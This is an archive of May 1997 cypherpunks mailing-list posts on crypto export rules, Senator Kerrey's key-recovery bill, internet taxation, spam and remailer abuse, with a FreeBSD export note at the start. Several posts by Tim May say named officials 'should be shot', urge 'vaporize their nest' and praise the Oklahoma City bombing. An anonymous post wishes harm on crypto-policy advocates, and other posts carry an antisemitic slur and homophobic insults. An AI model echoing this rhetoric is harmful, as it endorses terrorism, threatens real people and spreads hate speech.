Subject: Re: FreeBSD 2.2.1 on CDROM
Date: Wed, 07 May 1997 17:48:51 -0700
Organization: Walnut Creek CDROM
Message-ID: <337122F3.167EB0E7@FreeBSD.org>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Mailer: Mozilla 3.01 (X11; I; FreeBSD 2.2-STABLE i386)
To: tonyg@OntheNet.com.au

Tony Griffiths wrote:
> I just received the 2.2.1 disk yesterday and it contains the DES stuff
> which has been missing on all previous disks I have received!

That's because it's now legal for us to export it.

An S.F. district judge recently ruled that exporting encryption is
legal, at least within her jurisdiction, and so our lawyer has OK'd our
taking advantage of this fact [that we fall geographically within her
sphere of influence] to export crypto.  I have always *wanted* to do
this, since shipping "crippled" CDs in order that I might export them
was abhorent to me, and now I can.

This also means that the unpacked CVS repository on SNAPshot CDs contain
full sources for des, kerberos etc and so forth and you can actually
_use_ the repository to check out a complete, unadulterated version of
FreeBSD at any release version from 2.0 onwards.

-- 
- Jordan Hubbard
  FreeBSD core team / Walnut Creek CDROM.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 10 May 1997 10:44:25 +0800
To: Declan McCullagh <cypherpunks@toad.com
Subject: Re: Bill of Goods, from The Netly News Network
In-Reply-To: <v03007805af99743aebb7@[168.161.105.191]>
Message-ID: <v03007800af9998986ef4@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 4:42 PM -0800 5/9/97, Declan McCullagh wrote:
>************
>
>http://pathfinder.com/netly/editorial/0,1012,931,00.html
>
>The Netly News Network
>http://netlynews.com/
>May 9, 1997
>
>Bill of Goods
>by Declan McCullagh (declan@well.com)
...
>     It's diabolical. Researchers already have to
>comply with a legion of rules to qualify for grants.
>Kerrey's proposed bill, called "The Secure Public
>Network Act," would add yet another provision to the
...
>     But the real question is: Why does Kerrey think
>this rat-bastard bill has any chance of passing
>through Congress, especially when there's already
>legislation that would generally relax controls on
>crypto? After all, Rep. Bob Goodlatte (R-Va.)'s "SAFE"
>bill already has 86 cosponsors and shot out of
>subcommittee last week. Sen. Conrad Burns' (R-Mont.)
>"Pro-CODE" bill is headed for markup next month.
>
>     The answer is simple: this a trading chit that
>the White House and the Democratic leadership can play
>to water down the Burns and Goodlatte bills, and
>perhaps meld all three together.
>House party line: "The President has put forward a
>plan which in good faith attempts to balance our
>nation's interests in commerce, security, and law
>enforcement."

My hearty congratulations to Declan for this strong stance against the
Kerrey treason. I'm glad to see his strong criticism of it, and his
accurate speculation that a "grand compromise" with the criminals is likely.

I doubt one of his employers, "Time," will use his analysis...much too
radical for their get along/go along policy.

As for the fucking bureacrats, the Founding Fathers had it exactly right:

"Death to Tyrants!"


(Sadly, in these last decades of the American Nation, the scum will view
this as a "threat." Fuck em. Better, vaporize their nest.)

--Tim May, still a felon under their treasonous laws



There's something wrong when I'm a felon under an increasing number of laws.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Michael Stutz <stutz@dsl.org>
Date: Sat, 10 May 1997 07:46:14 +0800
To: cypherpunks@toad.com
Subject: Encryption defined
Message-ID: <Pine.LNX.3.94.970509191915.19758I-100000@seka.nacs.net>
MIME-Version: 1.0
Content-Type: text/plain


Online at http://www.wired.com/news/politics/story/3760.html

  [arrow]  ... And That's What Encryption Is
           by Wired News Staff

           2:58pm  9.May.97.PDT It's rare to get a glimpse of the lawmaking
           mind as it churns policy. But with the help of an unnamed
           Washington reporter, the public got a look at how two Democratic
           senators who want to pass a new law on how encryption should be
           used and regulated think about the issue.

           The setting was an informal daily get-together with reporters
           sponsored by Senate Minority Leader Tom Daschle of South Dakota.
           On Thursday, Senator Bob Kerrey of Nebraska was on hand to
           announce he is sponsoring a cryptography-control bill. We pick
           up the proceedings with a reporter's question to the senators:

           How would you define encryption?

           Daschle: Encryption is the - and Senator Kerrey can do a lot
           better job than I can - but my definition of encryption is to
           create a code by which sensitive information can be protected on
           the Internet....

           Kerrey: Well, I mean, to answer your question, I mean,
           encryption is - the political equivalent of encryption is you
           ask me a question, I give you an answer and you don't understand
           it. I mean, I intentionally garble the answer frequently. I
           intentionally garble the response so that you can't understand
           what I'm saying.

           And that's - you notice that I've got the ability to do that. I
           don't always do that, but that's what occurs with digital
           communication. The message is scrambled in a way that is very
           difficult to unscramble. And depending upon the power of your
           computer, you in fact may not be able to unscramble it at all.

Copyright (c) 1993-97 Wired Ventures, Inc. and affiliated companies.
All rights reserved.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sat, 10 May 1997 01:43:52 +0800
To: cypherpunks@cyberpass.net
Subject: Re: El Gamal
In-Reply-To: <v03007801af9848d58988@[207.167.93.63]>
Message-ID: <199705091728.TAA12492@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain


Vulis wrote re ElGamal:
>
> Why won't Sameer "Gas the Kikes" Parekh hire his fellow Arab?


Because Sameer's competition already hired him.  Get a clue...





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Sat, 10 May 1997 10:05:47 +0800
To: lucifer Anonymous Remailer <lucifer@dhp.com>
Subject: Re: Certified primes
In-Reply-To: <199705100047.UAA16220@dhp.com>
Message-ID: <Pine.A41.3.95.970509195106.21928A-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain


On Fri, 9 May 1997, lucifer Anonymous Remailer wrote:

Please can you stop this spam from your site.

> As `homo' as he might be, Timmy May is not of the 
> species `Homo Sapiens', but rather `Papio Mephitis'. 
> Unlike human beings, he has not descended from apes --- 
> yet.
> 
>   o-:^>___? Timmy May
>   `~~c--^c'
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 10 May 1997 08:46:29 +0800
To: cypherpunks@toad.com
Subject: Re: El Gamal
In-Reply-To: <199705091728.TAA12492@basement.replay.com>
Message-ID: <P6og7D61w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


nobody@REPLAY.COM (Anonymous) writes:

> Vulis wrote re ElGamal:
> >
> > Why won't Sameer "Gas the Kikes" Parekh hire his fellow Arab?
>
> Because Sameer's competition already hired him.  Get a clue...

Okidata is competing with Sameer?

After failing as an ISP and as a web server vendor, Sameer decided
to switch to peddling printers?

Or is Sameer diversifying into Usenet newsreaders with no killfiles?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Sat, 10 May 1997 09:05:31 +0800
To: cypherpunks@toad.com
Subject: Bill of Goods, from The Netly News Network
Message-ID: <v03007805af99743aebb7@[168.161.105.191]>
MIME-Version: 1.0
Content-Type: text/plain



************

http://pathfinder.com/netly/editorial/0,1012,931,00.html

The Netly News Network
http://netlynews.com/
May 9, 1997

Bill of Goods
by Declan McCullagh (declan@well.com)

     Senate Democrats are preparing legislation that
requires universities and other groups receiving
Federal grants to make their communication networks
snoopable by the government, The Netly News has
learned. The draft also includes penalties for
"unauthorized breaking of another's encryption codes,"
and restrictions on importing encryption products.

     At a Democratic leadership press briefing, Sen.
Bob Kerrey (D-Neb.) yesterday said his bill slightly
relaxed export rules in exchange for greater federal
control over crypto imports. But what he appears to be
truly aiming for is a full-scale assault on your right
to use whatever encryption software you want in your
own home.

     Academics are indignant over the strings attached
to grants. "This is outrageous," says Dave Farber, a
university professor at the University of Pennsylvania
and an EFF board member. "It's going to generate
roaring screams on campus. If you look at Internet II,
if you look at the Next Generation Internet, if you
look at campus networks -- all those have components
of federal funds."

     It's diabolical. Researchers already have to
comply with a legion of rules to qualify for grants.
Kerrey's proposed bill, called "The Secure Public
Network Act," would add yet another provision to the
fine print. It requires that "all encryption software
purchased with federal funds shall be software based
on a system of key recovery" and "all encrypted
networks established with the use of federal funds
shall use encryption based on a system of key
recovery." Key recovery, or key escrow, technology
enables law-enforcement officials to obtain copies of
the mathematical keys needed to decipher messages. In
other words, someone else keeps a copy of your secret
key -- and some proposed bills say that the cops may
not even need a search warrant to seize it.

     And not just universities will be jump-starting
the market for domestic key escrow. Organizations from
defense contractors to the United States Institute of
Peace to the American Red Cross receive federal
monies.

     "This is out-and-out industrial policy," says Jim
Lucier of Americans for Tax Reform. "It's going to
affect every technology there is for doing business on
the Net."

     What about the penalties for "unauthorized
breaking of another's encryption codes?" That would
criminalize cryptanalysis, the way to verify the
security of encryption software you buy. "The only way
to know the strength of a cipher is cryptanalysis,"
says Marc Briceno, a cryptography guru at Community
ConneXion.

     Then there's Kerrey's statement saying "there
will be" restrictions on what encryption products
you're permitted to buy from overseas firms. This
contradicts Justice Department official Michael Vatis,
who told me at a conference this year that the Clinton
administration did not want import controls. Though
Cabe Franklin, spokesperson for Trusted Information
Systems, says Kerrey was misunderstood. "In the
briefing afterwards, I found out he didn't mean that
at all. He meant import controls, but more regulation
than restriction. The same way they wouldn't let a car
with faulty steering controls in the country. He meant
more quality control," Franklin says. (I don't know
about you, but I'm not convinced.)

     But the real question is: Why does Kerrey think
this rat-bastard bill has any chance of passing
through Congress, especially when there's already
legislation that would generally relax controls on
crypto? After all, Rep. Bob Goodlatte (R-Va.)'s "SAFE"
bill already has 86 cosponsors and shot out of
subcommittee last week. Sen. Conrad Burns' (R-Mont.)
"Pro-CODE" bill is headed for markup next month.

     The answer is simple: this a trading chit that
the White House and the Democratic leadership can play
to water down the Burns and Goodlatte bills, and
perhaps meld all three together.

     The Democratic strategy makes sense. Members of
Congress are driven by a fierce, desperate urge to
compromise. The drive is primal: legislators are
compelled to find a middle ground. But to their
chagrin, crypto doesn't offer one. Either you keep a
copy of the electronic keys to your files or someone
else does -- which is exactly what the White House
wants. Either you're free to speak privately over the
Net using PGP, or you're not -- which is exactly what
the White House also wants.

     This may seem like a lot of high-powered
attention on an obscure subject; after all, encryption
does nothing more than scramble, verify and reassemble
bits of information. Besides ensuring that your
messages are private, encryption provides the
protocols for scrambling credit card numbers and
minting electronic coins. It allows digital
signatures, proofs of identity online, digital time
stamps and even secure electronic voting. It lets
anonymous remailers exist. It supplies the foundation
and steel girders for an information society.

     Kerrey's sudden interest in cryptologic arcana
likely stems from a recent addition to his staff:
policy aide Chris McLean.

     McLean is hardly a friend of the Net. While in
former Sen. Jim Exon's (D-Neb.) office, McLean drafted
the notorious Communications Decency Act and went on
to prompt Exon to derail "Pro-CODE" pro-encryption
legislation last fall. Then, not long after McLean
moved to his current job, his new boss stood up on the
Senate floor and bashed Pro-CODE in favor of the White
House party line: "The President has put forward a
plan which in good faith attempts to balance our
nation's interests in commerce, security, and law
enforcement."

     Now, more ominously, McLean just might be Bill
Clinton's appointee to fill a vacant slot at the
Federal Communications Commission. If you think the
White House is out to slam the Net, imagine what the
FCC could do...  

###


-------------------------
Declan McCullagh
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Sat, 10 May 1997 09:01:28 +0800
To: cypherpunks@toad.com
Subject: Certified primes
Message-ID: <199705100047.UAA16220@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


As `homo' as he might be, Timmy May is not of the 
species `Homo Sapiens', but rather `Papio Mephitis'. 
Unlike human beings, he has not descended from apes --- 
yet.

  o-:^>___? Timmy May
  `~~c--^c'





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 10 May 1997 12:05:45 +0800
To: Ray Arachelian <osborne@gateway.grumman.com>
Subject: Re: Spam Update/Cyber Promo attacked
In-Reply-To: <3.0.1.32.19970508230144.00947a40@gateway.grumman.com>
Message-ID: <v03007800af99ae300ca9@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 7:46 AM -0800 5/9/97, Ray Arachelian wrote:

>Filtering isn't the point.  Just as you have the right to free speech,
>you also have the right to ignore someone else's speech as it is aimed at
>you.  If you don't want Cyberspammo to spam you, they should honor your
>request to take their crap elsewhere.

Much as it pains me to dispute my usual ideological ally Ray A., the "they
should honor your request" is problematic.

If by this Ray means "as decent human beings they should," then, well,
perhaps so.

If, however, Ray means "they should, or something should be done," then, of
course, we disagree.

(If Ray means something in between, then he should say more about what he
means.)

Fact is, so long as anybody is free to send a message to someone else, then
what Wallace, Cantwell, Vulis, et. al. are doing is legit. Legit in the
sense of not breaking any laws. Whether tasteful or not, legit.

>The problem I have with them is that while they do say "Send email here
>to never be spammed again" it doesn't work.  They don't honor the
>deletion requests.  You wind up on some other dweeb's spam queue also
>from cyberspam. :(

Indeed, saying you don't "want" more advertisements is, for all practical
purposes, saying "Send me more!!!!"

So?

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Sat, 10 May 1997 12:21:09 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Bill of Goods, from The Netly News Network
In-Reply-To: <v03007800af9998986ef4@[207.167.93.63]>
Message-ID: <Pine.GSO.3.95.970509204137.4502C-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain


Thanks, Tim. I've decided I should ditch the Time Magazine style I think
of as "high analysis" and return to more opinionated writing. I feel
better about the latter, and I think it's more interesting to read. That's
what I was doing at HotWired; I've been experimenting more at Netly.

BTW, there may be some hope on the "encryption to further a crime" 
provisions of SAFE. Folks, I'd keep up the pressure. Contact yer
representatives, etc. Especially if they're on House Judiciary.

-Declan


On Fri, 9 May 1997, Tim May wrote:

> At 4:42 PM -0800 5/9/97, Declan McCullagh wrote:
> >************
> >
> >http://pathfinder.com/netly/editorial/0,1012,931,00.html
> >
> >The Netly News Network
> >http://netlynews.com/
> >May 9, 1997
> >
> >Bill of Goods
> >by Declan McCullagh (declan@well.com)
> ....
> >     It's diabolical. Researchers already have to
> >comply with a legion of rules to qualify for grants.
> >Kerrey's proposed bill, called "The Secure Public
> >Network Act," would add yet another provision to the
> ....
> >     But the real question is: Why does Kerrey think
> >this rat-bastard bill has any chance of passing
> >through Congress, especially when there's already
> >legislation that would generally relax controls on
> >crypto? After all, Rep. Bob Goodlatte (R-Va.)'s "SAFE"
> >bill already has 86 cosponsors and shot out of
> >subcommittee last week. Sen. Conrad Burns' (R-Mont.)
> >"Pro-CODE" bill is headed for markup next month.
> >
> >     The answer is simple: this a trading chit that
> >the White House and the Democratic leadership can play
> >to water down the Burns and Goodlatte bills, and
> >perhaps meld all three together.
> >House party line: "The President has put forward a
> >plan which in good faith attempts to balance our
> >nation's interests in commerce, security, and law
> >enforcement."
> 
> My hearty congratulations to Declan for this strong stance against the
> Kerrey treason. I'm glad to see his strong criticism of it, and his
> accurate speculation that a "grand compromise" with the criminals is likely.
> 
> I doubt one of his employers, "Time," will use his analysis...much too
> radical for their get along/go along policy.
> 
> As for the fucking bureacrats, the Founding Fathers had it exactly right:
> 
> "Death to Tyrants!"
> 
> 
> (Sadly, in these last decades of the American Nation, the scum will view
> this as a "threat." Fuck em. Better, vaporize their nest.)
> 
> --Tim May, still a felon under their treasonous laws
> 
> 
> 
> There's something wrong when I'm a felon under an increasing number of laws.
> ---------:---------:---------:---------:---------:---------:---------:----
> Timothy C. May              | Crypto Anarchy: encryption, digital money,
> tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
> W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
> Higher Power: 2^1398269     | black markets, collapse of governments.
> "National borders aren't even speed bumps on the information superhighway."
> 
> 
> 
> 
> 
> 






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 10 May 1997 12:26:02 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: Bill of Goods, from The Netly News Network
In-Reply-To: <v03007800af9998986ef4@[207.167.93.63]>
Message-ID: <v03007800af99b3274d0e@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 7:54 PM -0800 5/9/97, Declan McCullagh wrote:
>Thanks, Tim. I've decided I should ditch the Time Magazine style I think
>of as "high analysis" and return to more opinionated writing. I feel
>better about the latter, and I think it's more interesting to read. That's
>what I was doing at HotWired; I've been experimenting more at Netly.

I sympathize with your situation, such as I understand it. (I was gone from
Intel by 1986, long before public issues became so common, long before the
Net was as influential as today. No doubt, were I still at Intel, or
elsewhere, I would be constrained in what I would be allowed to write
about.)

Writing for "Time" or "Newsweek" will work for only a very few folks. Levy,
for example, does a quite reasonable job for "Newsweek"..but, then, he went
to "Newsweek" with a long history of Net contributions (notably, "Hackers,"
of course) and writes in his own style.

(I'm not sure who writes for "Time," as I no longer read any of the
newsweeklies, or dailies. Last I looked, it was Elmer-Dewitt who ran the
show.)

Frankly, I'm not sure there's any reasonable amount of money to be made in
journalism these days, for various reasons I won't get into right now.

A war is coming (arguably, the opening shots have already been fired) and
the newsweeklies are a poor place for anyone with actual principles.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 10 May 1997 12:39:54 +0800
To: Robert Hettinga <cypherpunks@toad.com
Subject: Re: Wine Politics Again!
In-Reply-To: <v0302098baf98c132e204@[139.167.130.248]>
Message-ID: <v03007801af99b5b4e673@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 4:09 AM -0800 5/9/97, Robert Hettinga wrote:
>--- begin forwarded text
>
>
>X-Sender: mcooley@pop.tiac.net
>Date: Thu, 08 May 1997 22:25:28
>To: dcsb@ai.mit.edu
>From: Marianne Cooley <mcooley@nethorizons.com>
>Subject: Wine Politics Again!
:
>Hello friends of the Virtual Vineyards and family wineries. Remember the
>felony direct shipping law in Georgia I wrote about a few weeks ago? Well,
>Governor Miller signed it, unfortunately. Ship a bottle of wine, go to
>jail. Amazing.
...

Thanks, Marianne and Bob, for the news.

I am shipping a few bottles of California's finest merlot (much nicer that
the trendy cabernets) to my sister and her husband in Hollywood, FL.

Always nice to poke a sharp stick in the eyes of the fascists while also
adding to my list of felonies (should I ever again enter Florida, which
seems doubtful, at least not for a while).

Chiles and his co-conspirators should be shot for high crimes against the
Constitution. After Clinton, Freeh, Kerrey, and the other traitors.

Every day that passes, I'm more convinced that McVeigh did the right thing.
Some innocents died, but, hey, war is hell. Broken eggs and all that.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Sat, 10 May 1997 12:42:31 +0800
To: cypherpunks@algebra.com
Subject: Security flaw in key recovery -- you're looking at it
Message-ID: <199705100433.VAA29749@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


Date: Fri, 9 May 1997 14:34:01 -0700
Subject: Security flaw in key recovery -- you're looking at it

awww ... go ahead, show us!!!!
Otherwise, I just might not believe you.



[This is only a test.  If I had been in a bad mood, this message would
have contained the private key of the CEO of a major Entrust customer,
obtained from an Entrust trusted "key safe" server.  Who am I?  Can 
Entrust or its customer's officers finger me?]








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Graham C. Hughes" <graham.hughes@resnet.ucsb.edu>
Date: Sat, 10 May 1997 13:22:00 +0800
To: cypherpunks@toad.com
Subject: Re: Certified primes
In-Reply-To: <Pine.A41.3.95.970509195106.21928A-100000@fn2.freenet.edmonton.ab.ca>
Message-ID: <87yb9nkjby.fsf@A-abe.resnet.ucsb.edu>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Graham-John Bullers <real@freenet.edmonton.ab.ca> writes:

> Please can you stop this spam from your site.

It's unclear how lucifer could do this without limiting legit traffic
and destroying the usefulness of the remailer.  Filtering by mail
addresses is immoral for such a remailer, as is examination of the
source text.

Better to address this server side, in the list itself, but that
requires moderators and a lot of time and effort.  The result is often
worth it.  Even better than that is to simply ignore the loser.
- -- 
Graham Hughes  http://A-abe.resnet.ucsb.edu/~graham/  MIME & PGP mail OK.
(define PGP_fingerprint "E9 B7 5F A0 F8 88 9E 1E  7C 62 D9 88 E1 03 29 5B")
(require 'stddisclaim)

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3
Charset: noconv
Comment: Processed by Mailcrypt 3.4, an Emacs/PGP interface

iQCVAwUBM3QCHCqNPSINiVE5AQFwNQP/WNlqsYM2b96mGP+nlAl808SddJKgJoGp
kQJPwG88YcJwteuAEA268TBpaz2wGjfq/3O14bj+qt4Ioi1WVrA512uT4u/oI1Os
n82Ut7yoKQdp5k9jb60c17uSHPCITKjP8YvkSZnUD/3G6Hz9a96DWIw2VoKL2fcf
7AidTHXup1w=
=Qc/e
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Sat, 10 May 1997 10:25:53 +0800
To: cypherpunks@toad.com
Subject: FC: Tax the Net! Report from Capitol Hill...
Message-ID: <v03007811af9988f5cb43@[168.161.105.191]>
MIME-Version: 1.0
Content-Type: text/plain


************

Date: Fri, 9 May 1997 21:57:45 -0400
To: fight-censorship-announce@vorlon.mit.edu
From: Declan McCullagh <declan@well.com>
Subject: FC: Tax the Net! Report from Capitol Hill...
Sender: owner-fight-censorship-announce@vorlon.mit.edu
Reply-To: declan@well.com
X-FC-URL: Fight-Censorship is at http://www.eff.org/~declan/fc/

So I'm sitting in this rundown basement meeting room in the
Rayburn House office building listening to a bunch of DC
policy wonks spout off about Internet taxation. Too bad
I'll have to wait to get back to the bureau to log in.
Gotta get Strosser in Purchasing to get me that radio
modem. It'll be great for playing networked Quake when
Senate Judiciary hearings are yawners.

Bruce Cohen from the Treasury Department is speaking.
Horn-rimmed glasses, nondescript blue suit, definitely a
geek. Tries a joke: "I hope there are no criminal tax
evaders in the audience." It flubs; folks glance at each
other nervously. I lean over to the guy from Cox's office
next to me and whisper, "I guess that's IRS humor." He
deadpans, "For what it's worth."

Cohen is praising a Treasury Department white paper
released last fall that says basically "No New Net Taxes."
That's true. But you have to read the fine print. Which I
did. That's where one finds the very clear suggestion that
existing tax laws must be extended to encompass the
Internet -- in the kind of clumsy and misinformed way that
has typified federal forays into legislating online
behavior.

"We have a tax system based on a 19th century model of
industry," Cohen continues. "Cash poses problems for cash
administrators. Electronic cash poses additional problems."

It does. The guy from IBM admitted a couple minutes ago
that if I buy _physical goods_ over the Net and have 'em
shipped to my zip code (20036), then the usual taxes should
apply. Just like mail order. But problems arise when the
product sold is virtual. If I buy a copy of an email
program from Poland, pay for it with digital cash from an
Amsterdam bank, and get a partial refund from a firm in
Singapore, which government taxes what? No wonder the
Internet Caucus decided to organize today's luncheon.
Everyone on the Hill's still scratching their heads.

Now Americans for Tax Reform's Jim Lucier (a longtime f-c
subscriber) is at the podium. He recommends "reengineering
the tax code" to address some of the unique aspects of the
Net. A steely silence descends on the room. Okay, that
ain't gonna happen. Too bad. Lucier is one of the few folks
in the room who has a clue about the Net.

To be sure, cypherpunks have anticipated these regulatory
problems for years. I remember Lucky Green, a digital cash
guru and veteran 'punk, stopping by my apartment last
summer. Over beers, we talked crypto-anarchy: as more and
more transactions move online, as more folks become
"knowledge workers," as they get paid in foreign e-cash for
writing or hacking code, the Feds' ability to tax income
(and virtual spending) will suffer.

But that doesn't mean taxes disappear. (Yeah, I know. What
a shame.) Governments always will be able to tax physical
purchases and meatspace property. When I buy a loaf of
bread at my favorite organic grocery down on Columbia Road,
the Man can monitor the grocer to ensure he reports the
transaction. Or property taxes: governments will always be
able to extract 'em. Taxes will shift from income to sales
and property.

Things are winding down. Aaron from White's office is
asking for questions. Embarassed silence. Nobody asks any.
Is it because nobody understands the stuff or because
everybody understands the stuff?

Time passes. Yep, the silence is definitely caused by
nobody wanting to sound stupid. Aaron gives up. The
panelists get to ask each other questions instead. Lucier
starts rambling about the economics of tax policy, but
nobody can understand, so we all ignore it.

Then Mark Rhoads, the guy supposedly representing the state
legislators, stands up. He says the only funny thing of the
afternoon: "I worked for Dirksen when he wasn't a
building." Or something like that. Maybe you had to be
there.

Anyway, he doesn't like the Cox-Wyden bill that would
prevent states from taxing the Net: "I'll give you a
nightmare scenario. What if you had a garage sale and
invited 80 million people to your garage sale. I happen to
be a collector of antique plates. The efficiency the
Internet creates allows me to find people. The
complications involved in taxing that at either the federal
or state level are amazing."

Anyone want to bet that's going to stop 'em from trying?

-Declan



-------------------------
Declan McCullagh
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/


--------------------------------------------------------------------------
This list is public. To join fight-censorship-announce, send
"subscribe fight-censorship-announce" to majordomo@vorlon.mit.edu.
More information is at http://www.eff.org/~declan/fc/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 10 May 1997 13:26:30 +0800
To: ichudov@algebra.com (Igor Chudov)
Subject: Re: Spam Update/Cyber Promo attacked
In-Reply-To: <v03007800af99ae300ca9@[207.167.93.63]>
Message-ID: <v03007801af99c141318b@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 8:17 PM -0800 5/9/97, Igor Chudov @ home wrote:
>Tim May wrote:

>> Indeed, saying you don't "want" more advertisements is, for all practical
>> purposes, saying "Send me more!!!!"
>
>You know, maybe if the spammers were not routinely kicked 1/2 hr after
>the incident, they would probably have a chance to receive and honor
>the removal requests.

I can't parse your English. (Not a new problem for me, Igor, as I seldom
understand your posts.)

My point was an obvious marketing one: anyone who expresses any interest
whatsoevery in advertisements or products, no matter what kind of interest,
is essentially automatically a candidate for more advertising.

--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Sat, 10 May 1997 13:33:37 +0800
To: cypherpunks@cyberpass.net
Subject: New admin crypto policy
Message-ID: <199705100524.WAA32396@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


It is time something unfortunate happened to all those leading the push for new crypto limits.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sat, 10 May 1997 10:59:10 +0800
To: cypherpunks@toad.com
Subject: Kerrey's Crypto Bill
Message-ID: <1.5.4.32.19970510024526.008e4704@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


Thanks to Declan McCullagh we offer Senator Kerrey's
outline of his encryption bill, The Secure Public Network Act:

   http://jya.com/tspna.htm  (12K)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 10 May 1997 14:25:14 +0800
To: "Graham C. Hughes" <cypherpunks@toad.com
Subject: Re: Certified primes
